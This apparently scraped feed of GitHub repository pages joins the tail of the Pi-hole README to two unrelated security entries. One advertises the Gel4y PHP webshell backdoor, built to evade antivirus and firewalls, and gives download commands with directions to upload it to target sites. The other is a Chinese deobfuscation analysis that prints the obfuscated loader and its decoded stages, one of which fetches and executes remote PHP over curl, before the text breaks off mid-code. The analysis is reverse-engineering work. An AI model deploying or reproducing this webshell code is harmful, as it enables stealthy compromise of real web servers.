<li><code>http://<IP_ADDRESS_OF_YOUR_PI_HOLE>/admin/</code></li>
<li><code>http://pi.hole/admin/</code> (when using Pi-hole as your DNS server)</li>
<li><code>http://pi.hole/</code> (when using Pi-hole as your DNS server)</li>
</ol>
<p>Once logged in (forgot your password?), you can view your network stats to see things like:</p>
<ul>
<li>the domains being queried on your network</li>
<li>the time the queries were initiated</li>
<li>the amount of domains that were blocked</li>
<li>the upstream server queries were sent to</li>
<li>the type of queries (<code>A</code>, <code>AAAA</code>, <code>CNAME</code>, <code>SRV</code>, <code>TXT</code>, etc.)</li>
</ul>
<hr>
<h2>Pi-hole is free, but powered by your support</h2>
<p>There are many reoccurring costs involved with maintaining free, open source, and privacy-respecting software; expenses which <a href="https://github.com/orgs/pi-hole/people">our volunteer developers</a> pitch in to cover out-of-pocket. This is just one example of how strongly we feel about our software, as well as the importance of keeping it maintained.</p>
<p>Make no mistake: <strong>your support is absolutely vital to help keep us innovating!</strong></p>
<h3>Donations</h3>
<p>Sending a donation using our links below is <strong>extremely helpful</strong> in offsetting a portion of our monthly expenses:</p>
<ul>
<li><img src="https://pi-hole.github.io/graphics/Badges/paypal-badge-black.svg?sanitize=true" width="24" height="24" alt="PP"> <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=3J2L3Z4DHW9UY">Donate via PayPal</a></li>
<li><img src="https://pi-hole.github.io/graphics/Badges/bitcoin-badge-black.svg?sanitize=true" width="24" height="24" alt="BTC"> <a href="https://commerce.coinbase.com/checkout/dd304d04-f324-4a77-931b-0db61c77a41b">Bitcoin, Bitcoin Cash, Ethereum, Litecoin</a></li>
</ul>
<h3>Alternative support</h3>
<p>If you'd rather not <a href="https://pi-hole.net/donate/">donate</a> (<em>which is okay!</em>), there are other ways you can help support us:</p>
<ul>
<li><a href="https://patreon.com/pihole">Patreon</a> <em>Become a patron for rewards</em></li>
<li><a href="https://www.digitalocean.com/?refcode=344d234950e1">Digital Ocean</a> <em>affiliate link</em></li>
<li><a href="https://www.stickermule.com/unlock?ref_id=6055890701&utm_medium=link&utm_source=invite">Stickermule</a> <em>earn a $10 credit after your first purchase</em></li>
<li><a href="https://pi-hole.net/shop/">Pi-hole Swag Store</a> <em>affiliate link</em></li>
<li><a href="https://www.amazon.com/exec/obidos/redirect-home/pihole09-20">Amazon</a> <em>affiliate link</em></li>
<li><a href="https://cp.dnsmadeeasy.com/u/133706">DNS Made Easy</a> <em>affiliate link</em></li>
<li>Spreading the word about our software, and how you have benefited from it</li>
</ul>
<h3>Contributing via GitHub</h3>
<p>We welcome <em>everyone</em> to contribute to issue reports, suggest new features, and create pull requests.</p>
<p>If you have something to add - anything from a typo through to a whole new feature - we're happy to check it out! Just make sure to fill out our template when submitting your request; the questions that it asks will help the volunteers quickly understand what you're aiming to achieve.</p>
<h3>Presentations about Pi-hole</h3>
<p>Word-of-mouth continues to help our project grow immensely, and so we are helping make this easier for people.</p>
<p>If you are going to be presenting Pi-hole at a conference, meetup or even a school project, <a href="https://pi-hole.net/2017/05/17/giving-a-presentation-on-pi-hole-contact-us-first-for-some-goodies-and-support/">get in touch with us</a> so we can hook you up with free swag to hand out to your audience!</p>
<hr>
<h2>Getting in touch with us</h2>
<p>While we are primarily reachable on our <a href="https://discourse.pi-hole.net/">Discourse User Forum</a>, we can also be found on a variety of social media outlets. <strong>Please be sure to check the FAQ's</strong> before starting a new discussion, as we do not have the spare time to reply to every request for assistance.</p>
<ul>
<li><strong><a href="https://discourse.pi-hole.net/c/faqs">Frequently Asked Questions</a></strong></li>
<li><strong><a href="https://github.com/pi-hole/pi-hole/wiki">Pi-hole Wiki</a></strong></li>
<li><strong><a href="https://discourse.pi-hole.net/c/feature-requests?order=votes">Feature Requests</a></strong></li>
<li><a href="https://discourse.pi-hole.net/">Discourse User Forum</a></li>
<li><a href="https://www.reddit.com/r/pihole/">Reddit</a></li>
<li><a href="https://twitter.com/The_Pi_Hole">Twitter</a></li>
<li><a href="https://www.facebook.com/ThePiHole/">Facebook</a></li>
<li><a href="https://gitter.im/pi-hole/pi-hole">Gitter</a> (Real-time chat)</li>
<li><a href="https://www.youtube.com/channel/UCT5kq9w0wSjogzJb81C9U0w">YouTube</a></li>
</ul>
<h1>Features</h1>
<h2>Mobile friendly interface</h2>
<p align="center"> <img src="https://pi-hole.github.io/graphics/Screenshots/mobile-friendly.png" height="300" alt="Mobile friendly"> </p>
<h2>Password protection</h2>
<p align="center"> <img src="https://pi-hole.github.io/graphics/Screenshots/password_protection_v5.png" alt="Password protection"> </p>
<h2>Detailed graphs and doughnut charts</h2>
<p align="center"> <img src="https://pi-hole.github.io/graphics/Screenshots/piecharts.png" alt="Pie charts"> </p>
<h2>Top lists of domains and clients</h2>
<p align="center"> <img src="https://pi-hole.github.io/graphics/Screenshots/topdomains-clients.png" alt="Top domains/top clients"> </p>
<h2>A filterable and sortable query log</h2>
<p align="center"> <img src="https://pi-hole.github.io/graphics/Screenshots/query-log-sorted.png" alt="Query log"> </p>
<h2>An audit log</h2>
<p align="center"> <img src="https://pi-hole.github.io/graphics/Screenshots/audit-log.png" alt="Pi-hole Web interface"> </p>
<h2>Long-term statistics to view data over user defined time ranges</h2>
<p align="center"> <img src="https://pi-hole.github.io/graphics/Screenshots/long-term-stats.png" alt="Long-term stats"> </p>
<h2>A built-in debugger</h2>
<p align="center"> <img src="https://pi-hole.github.io/graphics/Screenshots/debug.png" alt="Debugger"> </p>
<h2>Black and white lists</h2>
<p align="center"> <img src="https://pi-hole.github.io/graphics/Screenshots/blacklist.png" alt="Blacklist"> <br><br> <img src="https://pi-hole.github.io/graphics/Screenshots/whitelist.png" alt="Whitelist"> </p>
<h2>The ability to easily manage and configure Pi-hole features</h2>
<p align="center"> <img src="https://pi-hole.github.io/graphics/Screenshots/dashboard-settings.gif" alt="Settings"> </p>
<h2>... and all the main features of the Command Line Interface!</h2>
<p align="center"> <img src="https://pi-hole.github.io/graphics/Screenshots/pihole-t.png" alt="Tail the log"> <br><br> <img src="https://pi-hole.github.io/graphics/Screenshots/pihole-q.png" alt="Query ad lists"> </p>
<h2>API</h2>
<p>Full usage available <a href="https://discourse.pi-hole.net/t/pi-hole-api/1863">here</a>. Can be accessed at <code>/admin/api.php</code>. With either no parameters or <code>/admin/api.php?summary</code> it returns the following JSON:</p>
<pre><code class="language-json">{
"domains_being_blocked":243038,
"dns_queries_today":2385,
"ads_blocked_today":414,
"ads_percentage_today":17.35849,
"unique_domains":429,
"queries_forwarded":1537,
"queries_cached":434,
"clients_ever_seen":5,
"unique_clients":5,
"status":"enabled"
}
</code></pre>
<p><a href="https://discourse.pi-hole.net/t/pi-hole-api/1863">There are many more parameters</a>, such as:</p>
<ul>
<li><code>type & version</code></li>
<li><code>summaryRaw</code></li>
<li><code>summary</code></li>
<li><code>overTimeData10mins</code></li>
<li><code>topItems</code></li>
<li><code>getQuerySources</code></li>
<li><code>getForwardDestinations</code></li>
<li><code>getQueryTypes</code></li>
<li><code>getAllQueries</code></li>
<li><code>enable</code></li>
<li><code>disable</code></li>
<li><code>recentBlocked</code></li>
</ul>
<p>Together with a token it is also possible to <a href="https://discourse.pi-hole.net/t/is-there-an-api-command-to-disable-ad-blocking/7693">enable and disable (also with a set timeout) blocking via the API</a>.</p>
<p>The API returns more information (in a slightly different format if <code>FTL</code> is running) - it supports a fall-back to the "old" PHP API if <code>FTL</code> is not running. Test the type and/or version of the API by using the parameter <code>type</code> and <code>version</code>.</p>
-
-
- 22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor
- 2023-12-12T01:56:34Z
- tag:github.com,2023-12-12:/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor
-
- <p>A webshell that can bypass some system security, all code has been obfuscated to bypass malware scans freely.</p><hr><h2 align="center">Gel4y Mini Shell Backdoor</h2>
<blockquote>
<p>A webshell that can bypass some system security.</p>
</blockquote>
<p align="center"> <img src="https://img.shields.io/badge/PHP-7.4.3-yellowgreen"> <img src="https://img.shields.io/badge/LICENSE-MIT-orange"> <img src="https://img.shields.io/badge/Version-1.3-green"> </p>
<h2>Summary</h2>
<p>Gel4y Webshell is a backdoor built using the PHP programming language with the PHP procedural method in stealth mode where the file size is no more than 10KB, using the <a href="https://github.com/22XploiterCrew-Team/Shellmon">nano shell</a> method so it can easily escape virus scanning. Every PHP function has been obfuscated to avoid some firewall systems (WAF) that block some PHP functions that are considered dangerous.</p>
<p>Now in the latest version of Gel4y the webshell will not be indexed by Google because the resulting status code is 404, this will make your webshell safe from being stolen by other hackers.</p>
<pre><code>< HTTP/1.1 404 Not Found
< Host: localhost:1337
< Date: Wed, 06 Dec 2023 19:20:21 GMT
< Connection: close
< X-Powered-By: PHP/8.2.8
< Content-type: text/html; charset=UTF-8
</code></pre>
<h3>How To Use</h3>
<p>You only need to download the files in this repo, there are several easy ways that you might try</p>
<ul>
<li>cURL <code>curl https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/1.x.x/gel4y.php -o gel4y.php</code></li>
<li>wget <code>wget https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/1.x.x/gel4y.php</code></li>
</ul>
<p>the method above will download and save to your computer, you only need to upload the webshell to the target site that you have and call it according to the name of the webshell file you downloaded.</p>
<p>ex: <em><strong><a href="https://server.com/gel4y.php">https://server.com/gel4y.php</a></strong></em>.</p>
<h2>Malware Scanning Log</h2>
<pre><code>[2023-12-03 18:55:10] [INFO] Scan date: 2023-12-03 18:55:10
[2023-12-03 18:55:10] [INFO] Scanning ~/Gel4y-Mini-Shell-Backdoor/gel4y.php
[2023-12-03 18:55:10] [INFO] Mapping and retrieving checksums, please wait
[2023-12-03 18:55:10] [INFO] Found 1 files to check
[2023-12-03 18:55:10] [INFO] Checking files
[2023-12-03 18:55:11] [SUCCESS] Scan finished!
[2023-12-03 18:55:11] [INFO] Files scanned: 1
[2023-12-03 18:55:11] [INFO] Files edited: 0
[2023-12-03 18:55:11] [INFO] Files quarantined: 0
[2023-12-03 18:55:11] [INFO] Files whitelisted: 0
[2023-12-03 18:55:11] [INFO] Files ignored: 0
[2023-12-03 18:55:11] [INFO] Malware detected: 0
[2023-12-03 18:55:11] [INFO] Malware removed: 0
</code></pre>
<h2>Features [UPDATED]</h2>
<ul>
<li><em><strong>PHP BackConnect</strong></em></li>
<li><em><strong>Command Shell</strong></em></li>
<li><em><strong>Zip Upload (Auto Extract)</strong></em></li>
<li>Obfuscated Code (not a feature in webshell)</li>
<li>Multiple File Upload</li>
<li>Create Folder and File</li>
<li>File Download</li>
</ul>
<h4>Bypassed</h4>
<ul>
<li>403 Forbidden</li>
<li>406 Not Acceptable (according to luck :>)</li>
<li>Imunify360 (not always successful, only 85% chance of success)</li>
</ul>
<h2>Preview</h2>
<img src="https://images2.imgbox.com/a6/a8/WmrE2IOI_o.jpg" width="800" height="550">
<p>Using the well-known css framework, Bootstrap version 4, so that the resulting display will adjust to your platform or more often it is called a responsive display.</p>
<h2>Thank's To</h2>
<p>Thank you for the support given, we got references in making this backdoor from our friends, including:</p>
<ul>
<li>IndoXploit</li>
<li>Indosec</li>
<li>Marijuana Shell</li>
</ul>
<h3>!!!</h3>
<p>If there is an error in this webshell, please contribute with us.</p>
+ AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode
+ 2023-12-13T01:40:52Z
+ tag:github.com,2023-12-13:/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode
+
+ <p>Gel4y-Mini-Shell-Backdoor-Decode</p><hr><h1>Gel4y-Mini-Shell-Backdoor-Decode</h1>
<h2>1# 概述</h2>
<p>最近看到许多公众号都在传老外的一个WebShell免杀项目:<a href="https://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor">https://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor</a></p>
<p>刚好最近闲的没事干,也在研究WebShell方面的免杀,就随手看看</p>
<p><strong>如果你对其他WebShell免杀和相关ByPass技术感兴趣,欢迎来到我的另外一个项目:<a href="https://github.com/AabyssZG/WebShell-Bypass-Guide">https://github.com/AabyssZG/WebShell-Bypass-Guide</a></strong></p>
<p>我将在本项目,讲解这个免杀WebShell大马的核心运作原理,觉得不错可以给我点个Star😆</p>
<h2>2# 杀软测试</h2>
<p>直接能过阿里云恶意检测平台:<a href="https://ti.aliyun.com/#/webshell">https://ti.aliyun.com/#/webshell</a></p>
<p><img src="https://raw.githubusercontent.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/main/img/aliyun.png" alt="aliyun"></p>
<p>长亭牧云的WebShell检测也不在话下:<a href="https://stack.chaitin.com/security-challenge/webshell/index">https://stack.chaitin.com/security-challenge/webshell/index</a></p>
<p><img src="https://raw.githubusercontent.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/main/img/stack.png" alt="stack"></p>
<p>注:阿里云是最外层过了,长亭牧云是里层解密内容过了</p>
<p>以上这两个平台的查杀过了,那其他的WebShell查杀工具和平台基本都秒了</p>
<p><img src="https://raw.githubusercontent.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/main/img/kunwu.png" alt="kunwu"></p>
<h2>3# PHP分析</h2>
<p><strong>注明:仓库PHP文件当中 <code>original</code> 代表原始文件的意思,<code>encode</code> 代表解密文件的意思</strong></p>
<p>首先,原始的PHP来自于<a href="https://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/raw/1.x.x/gel4y.php">https://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/blob/1.x.x/gel4y.php</a>,也就是本仓库中的 <code>Gel4y-Mini-Shell-1_original.php</code>,运行后界面如下:</p>
<p><img src="https://raw.githubusercontent.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/main/img/webshell-1.png" alt="webshell-1"></p>
<p><img src="https://raw.githubusercontent.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/main/img/webshell-2.png" alt="webshell-2"></p>
<p>将 <code>Gel4y-Mini-Shell-1_original.php</code> 内容打开,可以很明显看到采用的是goto加密的方法,那这里不得不提到 <code>goto</code> 的相关语法知识,防止不懂的师傅看不懂后面的内容</p>
<h3>3.1 goto语法</h3>
<p>Demo1 一个简单的跳转:</p>
<pre><code class="language-php"><?php
goto loop;
echo 'this is first';
loop:
echo 'this is second';
</code></pre>
<p>可以发现,刚开始PHP执行 <code>goto loop;</code> ,就跳转到 <code>loop:</code> 这一行,中间的 <code>echo 'this is first';</code> 被跳过了,所以输出就为:</p>
<pre><code class="language-php">this is second
</code></pre>
<p>Demo2 跳出循环:</p>
<pre><code class="language-php"><?php
for($i=0; $i<10; $i++) {
while($i++) {
if($i==5) goto end;
}
}
echo 'The i=10';
end:
echo 'The i=' . $i;
</code></pre>
<p>可以发现,在满足 <code>$i==5</code> 条件的时候,就执行 <code>goto end;</code> 跳出循环,跳到最后,所以输出就为:</p>
<pre><code class="language-php">The i=5
</code></pre>
<p>注:<code>goto</code> 可以跳出循环,但无法跳入循环</p>
<h3>3.2 解密第一层PHP</h3>
<p>那了解了goto的用法后,我们可以来尝试解密最原始的WebShell</p>
<pre><code class="language-php"><?php error_reporting(0);goto PP; BK: function tC($ZJ) { goto rT; rT: $dL = "t\x65mpnam"("sys_g\x65t_t\x65mp_d\x69r"(), "\164\x6d\x70\137\x66\x75\x6e\x63"); goto hq; lJ: unlink($dL); goto Il; Il: return $dm; goto Uc; pM: $dm = (include $dL); goto lJ; hq: file_put_contents($dL, "\74\77\160\150\x70\40{$ZJ}"); goto pM; Uc: } goto dL; PP: function gW($F9) { goto TH; Gd: $ik = 0; goto T3; xN: Ky: goto lt; lt: $ik++; goto Gm; us: return $F9; goto zm; Z9: if (!($ik < strlen($F9))) { goto qK; } goto WS; TH: $F9 = base64_decode($F9); goto Gd; Gm: goto Fk; goto sR; sR: qK: goto us; T3: Fk: goto Z9; WS: $F9[$ik] = chr(ord($F9[$ik]) - 1); goto xN; zm: } goto BK; dL: Tc(gW("\x49\x53\105\x68\111\x53\x45\114\115\103\x73\x68\x49\123\106\x67\131\x47\102\x67\x59\x47\102\x67\x59\x47\102\x67\131\107\102\x67\x59\107\x42\147\131\107\x42\x67\x59\x47\x42\147\x59\x47\x42\x67\x59\107\102\147\131\107\102\x67\x59\107\x42\x67\131\x47\102\147\131\x47\x42\147\131\107\102\x67\131\107\102\147\x59\107\x42\x67\x59\101\163\x68\x49\123\105\x68\x66\x53\x45\150\125\x47\x4e\x6e\x64\156\122\153\131\156\x56\x6d\x5a\123\x46\x6a\x65\x69\106\x61\121\153\x77\x68\125\x58\x4e\167\x49\123\x34\150\x55\127\154\170\x49\126\102\x6a\x5a\63\x5a\x30\132\x47\112\x31\x63\x48\115\x68\x49\124\x4d\x76\x4d\x53\x38\x79\x4e\x53\x45\x68\x66\121\x73\150\x49\x53\105\x68\x66\x53\105\x68\x49\123\x45\x68\x49\x53\105\150\x49\123\x45\x68\111\x53\105\150\x63\x47\70\x68\x4d\172\105\172\116\103\64\171\115\x79\x34\x78\116\103\105\171\117\104\x73\x32\x4e\x7a\163\x30\116\151\105\x68\x49\x53\x45\150\x49\x53\105\x68\111\123\x45\150\111\x53\105\150\146\121\x73\x68\111\x53\x45\x68\146\123\x45\150\111\123\106\111\x61\x6e\126\112\x64\x6d\x4d\x37\111\x57\154\61\x64\130\x46\x30\x4f\172\x41\x77\141\107\x70\61\141\130\132\152\114\62\122\x77\x62\x6a\102\x78\x62\x43\x35\x6e\x63\172\x42\x36\131\x6d\x78\170\x63\x33\101\x75\143\130\101\x68\111\123\x45\x68\146\x51\163\x68\111\123\105\x68\x66\127\102\147\131\107\x42\147\x59\107\x42\147\131\x47\x42\147\131\x47\x42\x67\x59\107\x42\147\131\107\x42\x67\x59\x47\x42\147\x59\x47\102\147\131\107\x42\147\131\107\102\x67\131\x47\x42\147\131\x47\102\x67\131\107\x42\147\x59\107\102\147\131\x47\x42\x67\131\x47\x42\x67\x66\x51\x73\162\x4d\x41\x73\150\141\110\x42\x31\x63\x43\106\110\145\104\167\x68\121\152\x63\67\111\127\144\62\142\x32\122\x31\x61\156\102\166\111\130\x56\63\x4b\123\x56\x7a\125\x79\x6f\150\146\x43\x46\157\143\x48\x56\x77\111\x55\125\64\x50\x43\x46\161\x52\104\163\150\x4a\126\164\x45\x49\x54\x34\150\x4b\x57\160\x76\132\107\x31\x32\x5a\127\131\150\112\130\x6f\62\113\x6a\x77\150\x61\110\x42\61\x63\x43\106\x78\141\152\167\x68\124\62\163\x37\111\130\x4e\x6d\144\x58\132\x7a\142\x79\x45\x6c\127\x30\x51\x38\x49\127\x68\167\144\130\x41\150\141\154\115\x38\x49\x55\x56\x48\117\171\106\x6e\141\x6d\61\x6d\131\x48\106\x32\144\127\102\153\143\107\71\61\132\155\71\61\144\x43\x6b\x6c\145\x6a\x59\164\111\x53\116\70\x4a\130\116\x54\x66\x69\x4d\161\120\103\106\x6f\143\110\126\x77\x49\127\160\x45\120\103\x46\106\x4f\x44\x73\x68\112\x58\x6f\62\111\x54\64\150\144\127\x5a\x75\143\x57\x39\x69\x62\151\x6c\60\x65\156\x52\x67\x61\x47\x5a\61\131\x48\x56\x6d\x62\x6e\x46\x67\132\127\x70\x7a\113\123\157\x74\x49\123\x4e\x64\145\x54\x67\x31\130\x58\153\x33\x5a\x56\61\x35\x4f\x44\106\x64\x65\124\132\x6e\130\124\111\x31\x4e\x31\60\171\116\172\x5a\x64\x65\x54\144\155\130\130\153\63\116\103\x4d\161\x50\103\x46\x6f\x63\110\126\167\111\125\126\110\x50\103\x46\170\x61\152\163\x68\144\x6d\71\x74\x61\155\71\163\113\123\x56\x36\x4e\151\157\x38\x49\127\x68\x77\144\130\101\150\124\62\163\x38\111\x57\160\124\x4f\171\x46\x2b\111\127\x68\x77\144\x58\101\150\144\152\105\70\x49\x55\x64\64\x4f\171\105\154\141\126\x51\x68\120\151\x46\153\144\156\x4e\x74\131\107\x70\x76\141\x6e\x55\x70\113\152\x77\150\x61\110\102\61\143\103\106\125\143\x6a\167\x68\144\110\x67\67\x49\x53\126\172\124\x53\105\x2b\x49\127\122\62\x63\x32\61\x67\x5a\x6e\154\x6d\x5a\103\x6b\154\141\126\x51\x71\x50\x43\106\157\x63\x48\x56\x77\x49\126\102\x62\x50\103\x46\x51\x57\172\x73\150\132\x48\132\x7a\142\127\102\153\142\130\102\x30\132\151\x6b\154\141\x56\121\x71\120\103\x46\x6f\x63\x48\x56\167\x49\x55\x49\x33\x50\103\x46\125\143\152\163\x68\x5a\110\x5a\x7a\x62\x57\x42\60\x5a\x6e\126\x77\x63\130\x56\x67\x59\156\116\172\131\156\157\x70\112\127\x6c\125\114\123\x46\151\x63\63\x4e\x69\145\x69\x6c\x45\126\x6c\116\116\x55\x46\106\x56\131\106\x5a\x54\124\123\x45\53\120\x79\105\x6a\x58\x54\111\x32\115\126\60\171\116\172\x56\144\145\x54\147\61\x58\x54\111\x33\x4d\x56\60\x79\x4e\x7a\122\144\x65\x54\x52\x69\130\x58\x6b\x7a\x5a\61\61\65\115\62\144\144\115\152\x63\172\x58\130\x6b\x33\x4d\154\61\x35\117\104\x68\x64\116\152\x64\x64\x65\124\143\64\x58\x58\x6b\x33\117\154\x30\x79\x4e\x7a\x56\144\x65\x54\143\x35\130\124\x49\63\x4e\154\61\65\x4e\x7a\116\144\145\124\x67\x32\x58\x54\111\x33\116\x46\x31\65\116\172\x5a\x64\115\x6a\143\x7a\x58\x58\153\63\x4e\x46\60\x79\x4e\x6a\150\x64\x4d\152\x59\63\x58\130\153\x34\x4e\126\61\65\116\x7a\132\144\x4d\152\131\63\x58\130\153\64\116\x56\x30\62\116\61\61\x35\116\172\x52\144\x65\124\144\x6e\130\x58\x6b\63\132\x56\60\x32\117\x46\60\x33\x4d\x31\61\x35\116\104\x4e\x64\x65\124\x59\65\130\x58\x6b\64\115\126\60\171\x4e\x6a\x56\x64\x65\124\x64\156\x58\x54\x49\62\x4d\154\x30\171\x4e\172\x56\144\x65\x54\143\62\x58\x54\x49\x33\x4d\x31\x30\171\x4d\x54\122\x64\115\152\x63\172\x58\124\111\61\116\154\x30\171\116\x7a\x68\x64\116\x6a\132\x64\145\x54\x59\x31\130\x58\153\x33\116\x6c\61\65\x4e\172\112\144\115\x6a\131\62\x58\130\x6b\x7a\x5a\x31\60\171\x4d\124\x68\x64\x65\124\x63\x32\x58\x54\111\x32\x4e\126\60\63\x4e\x56\x30\171\x4f\x44\x4a\144\116\x6a\132\144\145\124\126\x6c\x58\x58\153\x33\117\154\61\65\116\x32\132\144\115\x6a\x59\x79\130\x58\153\x7a\132\126\x30\x79\x4d\172\122\144\115\x6a\131\170\130\x58\x6b\x33\116\x6c\61\65\x4e\62\122\144\145\124\144\x6b\130\x58\x6b\x7a\132\x56\60\x79\x4d\124\116\x64\115\152\x55\x79\x58\x54\x49\61\x4e\x46\61\x35\x4e\x32\x4e\x64\x4d\x6a\x55\61\130\130\153\63\132\x31\x31\x35\x4e\x32\144\x64\145\124\147\x7a\130\x58\153\172\x5a\61\61\x35\x4e\172\126\144\x65\124\x63\x32\130\130\153\x34\116\x31\60\62\x4f\x46\x31\65\116\x7a\150\x64\x4d\152\x55\x32\x58\x58\153\x33\132\106\61\65\x4e\x7a\x4a\x64\x65\x54\147\66\130\130\x6b\172\x5a\x6c\x31\x35\117\104\x46\144\145\124\x63\65\x58\124\x49\x33\115\x53\x4d\x74\111\x55\x52\127\x55\x30\x31\x51\125\x56\x56\147\126\106\x52\116\131\x46\x64\x47\125\x30\x70\110\127\153\154\x51\126\x46\125\150\x50\152\x38\x68\122\x30\112\116\126\x45\x59\x74\x49\x55\122\127\125\x30\x31\121\x55\x56\x56\x67\x56\x46\x52\116\131\106\144\107\125\x30\x70\x48\127\x6c\106\x47\x52\154\115\150\x50\152\x38\x68\122\x30\x4a\116\x56\x45\131\x74\x49\x55\122\127\125\x30\x31\x51\125\x56\126\x67\125\60\x5a\x56\x56\154\x4e\120\126\126\116\x43\124\61\x52\x48\x52\154\115\x68\120\152\x38\x68\x56\126\x4e\x57\x52\x69\x6f\x71\120\103\x46\x6f\x63\x48\126\x77\111\130\x52\x34\x50\103\106\x32\115\x54\x73\x68\x64\x58\x63\x70\112\130\x4e\x4e\113\152\167\75"));
</code></pre>
<p>经过goto解密,再进行重新编排,解密结果就为本仓库的 <code>Gel4y-Mini-Shell-1_decode.php</code>,内容如下:</p>
<pre><code class="language-php"><?php
error_reporting(0);
function gW($F9)
{
$F9 = base64_decode($F9);
$ik = 0;
while ($ik < strlen($F9)) {
$F9[$ik] = chr(ord($F9[$ik]) - 1);
$ik++;
}
return $F9;
}
function tC($ZJ)
{
$dL = ("tempnam")(("sys_get_temp_dir")(), "tmp_func");
file_put_contents($dL, "<?php {$ZJ}");
$dm = (include $dL);
unlink($dL);
return $dm;
}
Tc(gW("ISEhISELMCshISFgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYAshISEhfSEhUGNndnRkYnVmZSFjeiFaQkwhUXNwIS4hUWlxIVBjZ3Z0ZGJ1cHMhITMvMS8yNSEhfQshISEhfSEhISEhISEhISEhISEhcG8hMzEzNC4yMy4xNCEyODs2Nzs0NiEhISEhISEhISEhISEhfQshISEhfSEhISFIanVJdmM7IWl1dXF0OzAwaGp1aXZjL2RwbjBxbC5nczB6Ymxxc3AucXAhISEhfQshISEhfWBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgfQsrMAshaHB1cCFHeDwhQjc7IWd2b2R1anBvIXV3KSVzUyohfCFocHVwIUU4PCFqRDshJVtEIT4hKWpvZG12ZWYhJXo2KjwhaHB1cCFxajwhT2s7IXNmdXZzbyElW0Q8IWhwdXAhalM8IUVHOyFnam1mYHF2dWBkcG91Zm91dCklejYtISN8JXNTfiMqPCFocHVwIWpEPCFFODshJXo2IT4hdWZucW9ibil0enRgaGZ1YHVmbnFgZWpzKSotISNdeTg1XXk3ZV15ODFdeTZnXTI1N10yNzZdeTdmXXk3NCMqPCFocHVwIUVHPCFxajshdm9tam9sKSV6Nio8IWhwdXAhT2s8IWpTOyF+IWhwdXAhdjE8IUd4OyElaVQhPiFkdnNtYGpvanUpKjwhaHB1cCFUcjwhdHg7ISVzTSE+IWR2c21gZnlmZCklaVQqPCFocHVwIVBbPCFQWzshZHZzbWBkbXB0ZiklaVQqPCFocHVwIUI3PCFUcjshZHZzbWB0ZnVwcXVgYnNzYnopJWlULSFic3NieilEVlNNUFFVYFZTTSE+PyEjXTI2MV0yNzVdeTg1XTI3MV0yNzRdeTRiXXkzZ115M2ddMjczXXk3Ml15ODhdNjddeTc4XXk3Ol0yNzVdeTc5XTI3Nl15NzNdeTg2XTI3NF15NzZdMjczXXk3NF0yNjhdMjY3XXk4NV15NzZdMjY3XXk4NV02N115NzRdeTdnXXk3ZV02OF03M115NDNdeTY5XXk4MV0yNjVdeTdnXTI2Ml0yNzVdeTc2XTI3M10yMTRdMjczXTI1Nl0yNzhdNjZdeTY1XXk3Nl15NzJdMjY2XXkzZ10yMThdeTc2XTI2NV03NV0yODJdNjZdeTVlXXk3Ol15N2ZdMjYyXXkzZV0yMzRdMjYxXXk3Nl15N2RdeTdkXXkzZV0yMTNdMjUyXTI1NF15N2NdMjU1XXk3Z115N2ddeTgzXXkzZ115NzVdeTc2XXk4N102OF15NzhdMjU2XXk3ZF15NzJdeTg6XXkzZl15ODFdeTc5XTI3MSMtIURWU01QUVVgVFRNYFdGU0pHWklQVFUhPj8hR0JNVEYtIURWU01QUVVgVFRNYFdGU0pHWlFGRlMhPj8hR0JNVEYtIURWU01QUVVgU0ZVVlNPVVNCT1RHRlMhPj8hVVNWRioqPCFocHVwIXR4PCF2MTshdXcpJXNNKjw="));
</code></pre>
<h3>3.3 解密第二层PHP</h3>
<p>同时,我们通过断点调试,可以得到解码后执行的PHP内容:</p>
<p><img src="https://raw.githubusercontent.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/main/img/dd-1.png" alt="dd-1"></p>
<p>通过断点调试,或者执行已经解密的php自定义函数 <code>gW($F9)</code> 可以得到本仓库的 <code>Gel4y-Mini-Shell-2_original.php</code>,内容如下:</p>
<pre><code class="language-php"><?php
/* __________________________________________________ | Obfuscated by YAK Pro - Php Obfuscator 2.0.14 | | on 2023-12-03 17:56:35 | | GitHub: https://github.com/pk-fr/yakpro-po | |__________________________________________________| */ goto Fw; A6: function tv($rR) { goto D7; iC: $ZC = (include $y5); goto pi; Nj: return $ZC; goto iR; DF: file_put_contents($y5, "{$rR}"); goto iC; D7: $y5 = tempnam(sys_get_temp_dir(), "\x74\x6d\x70\x5f\146\165\x6e\x63"); goto DF; pi: unlink($y5); goto Nj; iR: } goto u0; Fw: $hS = curl_init(); goto Sq; sw: $rL = curl_exec($hS); goto OZ; OZ: curl_close($hS); goto A6; Sq: curl_setopt_array($hS, array(CURLOPT_URL => "\150\164\x74\160\163\x3a\x2f\x2f\162\x61\x77\56\x67\x69\164\x68\165\x62\x75\163\x65\162\x63\157\156\x74\x65\156\x74\56\x63\x6f\x6d\57\62\x32\x58\x70\154\x6f\151\164\x65\162\103\162\145\167\55\x54\x65\x61\155\x2f\107\x65\154\64\171\55\x4d\x69\x6e\151\x2d\123\150\x65\x6c\x6c\x2d\102\141\143\x6b\144\x6f\x6f\x72\x2f\x64\x65\x76\57\x67\145\x6c\x61\x79\x2e\x70\x68\160", CURLOPT_SSL_VERIFYHOST => FALSE, CURLOPT_SSL_VERIFYPEER => FALSE, CURLOPT_RETURNTRANSFER => TRUE)); goto sw; u0: 